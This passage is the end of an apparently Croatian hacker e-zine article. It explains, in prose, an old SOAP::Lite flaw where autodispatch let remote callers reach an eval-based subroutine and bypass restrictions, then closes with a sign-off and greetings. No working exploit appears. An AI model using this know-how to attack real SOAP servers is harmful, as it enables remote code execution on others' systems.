my $string = shift;
$string =~ s/(['\\])/\\$1/g;
return $string;
}
-------[/code]--------
stoga vidite kako ovo zapravo radi.. znaci u tim verzijama bilo je moguce
pozivati unutar Perl paketa SOAP:Lite servera tocnije onda kad je bio
ukljucen 'autodispatch'.. paket X:SOAP::SOM sadrzi subroutine _traverse..
kao sto vidite bitan je "eval".. poziv za 'eval'.. posto je moguce pozvati
ovo direktno mozemo zaobici odredjene stvari..
od pojave ovog propusta stvari za soap su krenule losim tokom.. kroz
verzije nailazilo se na niz novih propusta.. kako manjih sitnica tako i
vecih odnosno bitnijih pogresaka..
listu vecine bugova mozete pogledati na:
http://sourceforge.net/tracker/?group_id=66000&atid=513017
///////////////////////////////////////////////////////////////////////////
-----> 0x08 Exploding echoes
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
Evo nas .. polako ali sigurno dosli smo do kraja. Ovdje je masu stvari
izostavljena iz mnogo razloga (mislio ja jos tu pisat o LED-u i SOED-u ali
ponovno razmislih pa sam hvala Bogu odustao i ostao ziv, barem josh koji dan)
:) dosta je nedorecenih stvari, no to je jednostavno i nepopravljivo gotovo
uvijek tako jer ogromne stvari tek dolaze i ostaju na vama ukoliko ste nakon
citanja ostali zinteresirani za obradjenu i mnoge usko povezane teme. Ako je
bilo sto nejasno, imate neku ideju, sugestiju ili kritiku u vezi s tekstom
molim da me kontaktirate na haarp@phearless.org. Nista, to je to, ide greetz a
vi uzivajte i dalje uceci nove, zanimljive stvari citajuci novi phearless a ja
idem probati zaspati koji sat i ozdraviti napokon... pozdrav i do citanja :)
Veliki pozdrav: Shatterhand, Wintermuth(aca), Exoduks, h4z4rd, argv(ziv?)
:), bl00dz3r0, BoyScout, n00ne, aljosha, modche, 'and,
m4rk0, set_X, ex BlackHat, za sve na ptp-u, neke na riwiu,
takodjer veliki pozdrav za skrobota (nestao), SiKeta,
furiu, leecha i veeeeeeejika pusa mojoj sljatkoj majoj..
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\